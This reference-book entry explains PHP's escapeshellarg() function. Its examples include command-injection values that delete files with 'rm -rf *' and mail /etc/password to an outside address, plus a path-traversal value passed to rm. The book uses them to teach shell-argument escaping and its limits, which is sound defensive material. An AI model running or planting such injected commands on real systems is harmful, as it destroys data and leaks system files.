Single-quote delimited string, with all other single quotes in the string quoted and escaped
escapeshellarg() converts a scalar value into a single-quote delimited string that can more safely be used as a single argument for a shell command.
Any existing single quotes (') in the value are converted to '\''. This sequence temporarily ends the single-quoted string, inserts a literal single quote, and then resumes the string. This is necessary because shells don't interpolate the characters inside a single-quoted string.
Single-quoted strings are safer for use as shell arguments because the shell performs no variable substitution or interpolation on them. All metacharacters and control operators within the string are ignored.
// Pretend that $argument is user input posted from a form... // Looks like the user wants to trash the current working directory $argument = '-al *; nohup rm -rf * &'; $cmd = 'ls ' . escapeshellarg ($argument); // $cmd is now "ls '-al *; nohup rm -rf * &'" exec($cmd); // The user takes a cheap shot at /etc/password $argument = 'rms; mail firstname.lastname@example.org < /etc/password'; exec('finger ' . escapeshellarg ($argument));
// A quick hack to let users delete files owned by www within their own accounts $this_file = escapeshellarg($SCRIPT_FILENAME); // find the owner of the current script list(, , $owner) = split('[ ]+', exec("ls -l $this_file")); // Pretend that $argument is user input from a form $argument = '../../www/conf/httpd.conf'; exec('rm ' . escapeshellarg ("~$owner/$argument")); /* It would be easy to assume that this script is safe - after all, any user-provided data is processed by escapeshellarg() and has the script owner's home directory prepended to it. However, if the attacker has basic knowledge of UNIX filesystems (or time to make a few guesses), this type of protection can easily be overcome. The moral of the story: escapeshellarg() cannot stop you from doing foolish things. If you're not sure that the method you're using is secure, find a more secure method. */
PHP Functions Essential Reference. Copyright © 2002 by New Riders Publishing (Authors: Zak Greant, Graeme Merrall, Torben Wilson, Brett Michlitsch). This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/). The authors of this book have elected not to choose any options under the OPL. This online book was obtained from http://www.fooassociates.com/phpfer/ and is designed to provide information about the PHP programming language, focusing on PHP version 4.0.4 for the most part. The information is provided on an as-is basis, and no warranty or fitness is implied. All persons and entities shall have neither liability nor responsibility to any person or entity with respect to any loss or damage arising from the information contained in this book.